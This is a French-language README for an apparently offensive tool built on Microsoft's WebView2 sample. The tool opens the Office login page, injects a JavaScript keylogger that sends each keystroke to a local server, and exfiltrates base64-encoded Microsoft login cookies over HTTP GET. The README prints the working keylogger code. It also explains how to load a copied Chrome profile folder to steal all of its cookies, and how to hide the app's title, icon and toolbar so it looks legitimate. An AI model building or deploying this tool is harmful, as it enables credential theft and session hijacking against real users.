
Injecte un keylogger JavaScript dans les pages WebView2 pour capturer les frappes et exfiltrer les cookies des sessions d'authentification Microsoft via des requêtes HTTP GET.
Veuillez lire cet article de blog pour plus d'informations.
Ce code est une version modifiée du Code WebView2 de Microsoft. Le code actuel peut être nettoyé et amélioré.
Testé sur Windows 10 et 11.
Lorsque le binaire est exécuté https://office.com/login est chargé. Un keylogger JavaScript est injecté dans chaque page et les frappes sont envoyées à http://127.0.0.1:8080. De plus, une fois que l'utilisateur s'authentifie avec succès, les cookies pour login.microsoftonline.com sont encodés en base64 et envoyés à http://127.0.0.1:8080 via une requête HTTP GET.
Si vous souhaitez modifier le JavaScript, le code à modifier est indiqué ci-dessous à la ligne 1096 dans AppWindow.cpp.
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
WebView2 permet de lancer avec un dossier de données utilisateur (UDF) existant plutôt que d'en créer un nouveau. L'UDF contient tous les mots de passe, sessions, marque-pages, etc. L'UDF de Chrome se trouve à C:\Users\<nom_utilisateur>\AppData\Local\Google\Chrome\User Data. Nous pouvons simplement dire à WebView2 de démarrer l'instance en utilisant ce profil et, au lancement, extraire tous les cookies et les transférer vers le serveur de l'attaquant.
Le seul hic est que WebView2 cherche un dossier appelé EBWebView au lieu de User Data (je ne sais pas pourquoi). Copiez le dossier User Data et renommez-le en EBWebView.
À la ligne 41 de app.cpp :
std::wstring userDataFolder(L""); par std::wstring userDataFolder(L"C:\\Path\\To\\Temp");EBWebView à partir duquel WebView2 lira.À la ligne 40 de ScenarioCookieManagement.cpp :
GetCookiesHelper(L"https://login.microsoftonline.com"); par GetCookiesHelper(L"");Lorsque GetCookiesHelper est invoqué sans qu'aucun site web ne soit fourni, il extraira tous les cookies.
Remarque : Cela ne fonctionnera pas avec l'application actuelle s'il y a une grande quantité de cookies car l'application les envoie via une requête GET qui a une limite de longueur.
Si vous souhaitez apporter des modifications au binaire, vous trouverez ci-dessous des informations sur les fonctions importantes.
GetUri() contient l'URL chargée lors de l'exécution du binaire.SendCookies() contient l'adresse IP et le port où les cookies sont envoyés.CallCookieFunction() attend que l'URL commence par https://www.office.com/?auth= et appelle ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")POPUP à "".IDS_APP_TITLE et IDC_WEBVIEW2APISAMPLE. C'est le nom de l'application dans la barre de titre.IDI_WEBVIEW2APISAMPLE, IDI_WEBVIEW2APISAMPLE_INPRIVATE et IDI_SMALL. Ils pointent vers un fichier qui est l'icône de cette application..icoitemHeight doit être mis à 0 pour supprimer le menu supérieur. Cela est déjà pris en charge dans ce code.LoadImage() doit être commenté. Cela masque l'image de démarrage bleue. Cela est déjà pris en charge dans ce code.new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); changez la valeur du dernier paramètre à true. Cela masque la barre d'outils. Cela est déjà pris en charge dans ce code.